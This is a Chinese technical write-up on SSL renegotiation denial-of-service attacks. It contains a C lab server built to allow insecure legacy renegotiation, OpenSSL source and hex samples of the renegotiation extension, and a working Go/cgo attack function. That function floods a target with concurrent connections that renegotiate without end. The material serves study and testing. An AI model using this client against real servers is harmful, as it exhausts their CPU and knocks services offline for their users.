简介
SSL握手的过程中,在协商加密算法时服务器CPU的开销是客户端开销的15倍左右。攻击者利用这一特点,在一个TCP连接中不停地快速重新协商,或者发起多个TCP连接进行协商,从而耗尽服务器CPU资源,这种攻击叫做SSL-DoS。
如果多个僵尸主机向服务器发起SSL-DoS,则叫做SSL-DDoS攻击。
重协商
SSL/TLS 的 重新协商(Renegotiation) 功能主要在 TLS 1.2 及更早版本 中支持。在 TLS 1.3 中,重新协商机制被移除,取而代之的是更安全的 密钥更新(Key Update) 机制。
服务端
- 生成密钥 openssl genrsa -out key.pem 2048
- 生成证书 openssl req -new -x509 -key key.pem -out cert.pem -days 365
- 允许重协商 SSL_CTX_set_options(ctx, SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION);
- 指定SSL版本 SSL_CTX_set_max_proto_version(ctx, TLS1_2_VERSION);
- 打印握手消息 SSL_set_msg_callback
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#define PORT 443
// 定义消息回调函数
void msg_callback(int write_p, int version, int content_type, const void *buf, size_t len, SSL *ssl, void *arg) {
const char *type_str = "";
const char *direction = write_p ? "Sent" : "Received";
// 根据 content_type 确定消息类型
switch (content_type) {
case SSL3_RT_CHANGE_CIPHER_SPEC:
type_str = "ChangeCipherSpec";
break;
case SSL3_RT_ALERT:
type_str = "Alert";
break;
case SSL3_RT_HANDSHAKE:
type_str = "Handshake";
break;
default:
type_str = "Unknown";
break;
}
// 打印消息基本信息
printf("%s %s message, length = %zu\n", direction, type_str, len);
// 如果是 Handshake 消息,进一步解析
if (content_type == SSL3_RT_HANDSHAKE) {
const unsigned char *p = (const unsigned char *)buf;
if (len > 0) {
int handshake_type = p[0]; // 第一个字节是 Handshake 消息类型
if (handshake_type == SSL3_MT_CLIENT_HELLO) {
printf("ClientHello message detected!\n");
// 打印完整的 ClientHello 消息(十六进制格式)
printf("ClientHello raw data (%zu bytes):\n", len);
for (size_t i = 0; i < len; i++) {
printf("%02X ", p[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
}
}
}
}
int main() {
int sockfd, clientfd;
struct sockaddr_in server_addr, client_addr;
socklen_t client_len;
// 初始化 OpenSSL
SSL_library_init();
OpenSSL_add_all_algorithms();
SSL_load_error_strings();
const SSL_METHOD *method = TLS_server_method(); // 使用 TLS 方法
SSL_CTX *ctx = SSL_CTX_new(method);
if (!ctx) {
ERR_print_errors_fp(stderr);
return 1;
}
// 加载证书和私钥
if (SSL_CTX_use_certificate_file(ctx, "cert.pem", SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
return 1;
}
if (SSL_CTX_use_PrivateKey_file(ctx, "key.pem", SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
return 1;
}
// 允许客户端发起重协商(不安全,仅用于演示)
SSL_CTX_set_options(ctx, SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION);
SSL_CTX_set_min_proto_version(ctx, TLS1_2_VERSION);
SSL_CTX_set_max_proto_version(ctx, TLS1_2_VERSION);
// 创建 socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("socket");
return 1;
}
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(PORT);
// 绑定 socket
if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("bind");
return 1;
}
// 监听连接
if (listen(sockfd, 5) < 0) {
perror("listen");
return 1;
}
printf("Server listening on port %d...\n", PORT);
while (1) {
client_len = sizeof(client_addr);
clientfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
if (clientfd < 0) {
perror("accept");
continue;
}
// 创建 SSL 连接
SSL *ssl = SSL_new(ctx);
SSL_set_fd(ssl, clientfd);
// 打印握手交互信息
SSL_set_msg_callback(ssl, msg_callback);
SSL_set_msg_callback_arg(ssl, NULL);
// 进行 SSL 握手
if (SSL_accept(ssl) <= 0) {
ERR_print_errors_fp(stderr);
SSL_free(ssl);
close(clientfd);
continue;
}
printf("SSL connection established.\n");
char buf[1024];
int bytes;
//处理客户端请求
while ((bytes = SSL_read(ssl, buf, sizeof(buf) - 1)) > 0) {
buf[bytes] = 0; // Null terminate
printf("Received: %s\n", buf);
SSL_write(ssl, buf, bytes); // Echo back
}
// 关闭 SSL 连接
SSL_shutdown(ssl);
SSL_free(ssl);
close(clientfd);
}
close(sockfd);
SSL_CTX_free(ctx);
EVP_cleanup();
return 0;
}
客户端
- net.DialTimeout 进行tcp连接
- cgo进行openssl函数调用
- 允许重协商 C.SSL_CTX_set_options(sslCtx, C.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION)
- 允许初始连接到不支持 RI 的服务器 C.SSL_CTX_set_options(sslCtx, C.SSL_OP_LEGACY_SERVER_CONNECT)
- 初始握手 C.SSL_connect(ssl)
- 重协商标志 C.SSL_renegotiate(ssl)
- 手动握手 C.SSL_do_handshake(ssl)
// SendSslOpensslRenegotiateAttack 发送SSL重协商攻击
func SendSslOpensslRenegotiateAttack(Cfg *cfg.Config) {
sslTarget := Cfg.Base.Target
sslInterval := Cfg.Ssl.Interval
sslCount := Cfg.Base.Count
sslRate := Cfg.Base.Rate
sslFlood := Cfg.Base.Flood
// 速率控制
ticker := time.NewTicker(time.Second / time.Duration(sslRate))
defer ticker.Stop()
// 等待所有协程完成
var wg sync.WaitGroup
for i := uint64(0); i < sslCount || sslCount == 0; i++ {
// 等待下一个发包时间点
if !sslFlood {
<-ticker.C
}
// 增加等待计数
wg.Add(1)
go func() {
// 完成时减少计数
defer wg.Done()
// 去掉https://前缀
sslTarget = strings.TrimPrefix(sslTarget, "https://")
// 建立TCP连接
conn, err := net.DialTimeout("tcp", sslTarget, time.Second)
if err != nil {
fmt.Println("connecting to tcp target:", sslTarget, "failed,err:", err)
return
}
defer conn.Close()
// 创建SSL上下文
sslCtx := C.SSL_CTX_new(C.SSLv23_client_method())
if sslCtx == nil {
fmt.Println("Failed to create SSL context")
return
}
defer C.SSL_CTX_free(sslCtx)
C.SSL_CTX_set_options(sslCtx, C.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION)
C.SSL_CTX_set_options(sslCtx, C.SSL_OP_LEGACY_SERVER_CONNECT)
C.SSL_CTX_set_cipher_list(sslCtx, C.CString("AES256-SHA:RC4-MD5"))
// 创建SSL对象
ssl := C.SSL_new(sslCtx)
if ssl == nil {
fmt.Println("Failed to create SSL object")
return
}
defer C.SSL_free(ssl)
// 设置文件描述符
f, err := conn.(*net.TCPConn).File()
if err != nil {
fmt.Println("Failed to get file descriptor:", err)
return
}
fd := C.int(f.Fd())
C.SSL_set_fd(ssl, fd)
// 执行SSL握手
if C.SSL_connect(ssl) <= 0 {
fmt.Println("SSL handshake failed")
return
}
for {
// SSL重协商
if C.SSL_renegotiate(ssl) <= 0 {
fmt.Println("SSL renegotiation failed")
return
}
// SSL握手
if C.SSL_do_handshake(ssl) != 1 {
fmt.Println("SSL renegotiation do handshake failed")
return
}
time.Sleep(time.Duration(sslInterval) * time.Second)
}
}()
}
// 等待所有协程完成
wg.Wait()
}
分析
- RFC 重协商扩展定义
- openssl代码
EXT_RETURN tls_construct_ctos_renegotiate(SSL_CONNECTION *s, WPACKET *pkt,
unsigned int context, X509 *x,
size_t chainidx)
{
if (!s->renegotiate) {
/* If not renegotiating, send an empty RI extension to indicate support */
#if DTLS_MAX_VERSION_INTERNAL != DTLS1_2_VERSION
# error Internal DTLS version error
#endif
if (!SSL_CONNECTION_IS_DTLS(s)
&& (s->min_proto_version >= TLS1_3_VERSION
|| (ssl_security(s, SSL_SECOP_VERSION, 0, TLS1_VERSION, NULL)
&& s->min_proto_version <= TLS1_VERSION))) {
/*
* For TLS <= 1.0 SCSV is used instead, and for TLS 1.3 this
* extension isn't used at all.
*/
return EXT_RETURN_NOT_SENT;
}
if (!WPACKET_put_bytes_u16(pkt, TLSEXT_TYPE_renegotiate)
|| !WPACKET_start_sub_packet_u16(pkt)
|| !WPACKET_put_bytes_u8(pkt, 0)
|| !WPACKET_close(pkt)) {
SSLfatal(s, SSL_AD_INTERNAL_ERROR, ERR_R_INTERNAL_ERROR);
return EXT_RETURN_FAIL;
}
return EXT_RETURN_SENT;
}
/* Add a complete RI extension if renegotiating */
if (!WPACKET_put_bytes_u16(pkt, TLSEXT_TYPE_renegotiate)
|| !WPACKET_start_sub_packet_u16(pkt)
|| !WPACKET_sub_memcpy_u8(pkt, s->s3.previous_client_finished,
s->s3.previous_client_finished_len)
|| !WPACKET_close(pkt)) {
SSLfatal(s, SSL_AD_INTERNAL_ERROR, ERR_R_INTERNAL_ERROR);
return EXT_RETURN_FAIL;
}
return EXT_RETURN_SENT;
}
- 重协商示例数据
通过ssl服务端回调函数msg_callback打印,在client hello报文扩展中包括tls.handshake.extension.type: renegotiation_info (65281),如
FF 01 00 0D 0C 8C C5 B5 ED D3 ED 9A 93 33 1C 0A 77
类型为0xFF01,长度0x0D,数据长度0x0D,数据为client_verify_data
- 报文分析
- 新建tcp会话
- 首次ssl协商
- 不断重协商
- CPU利用率变化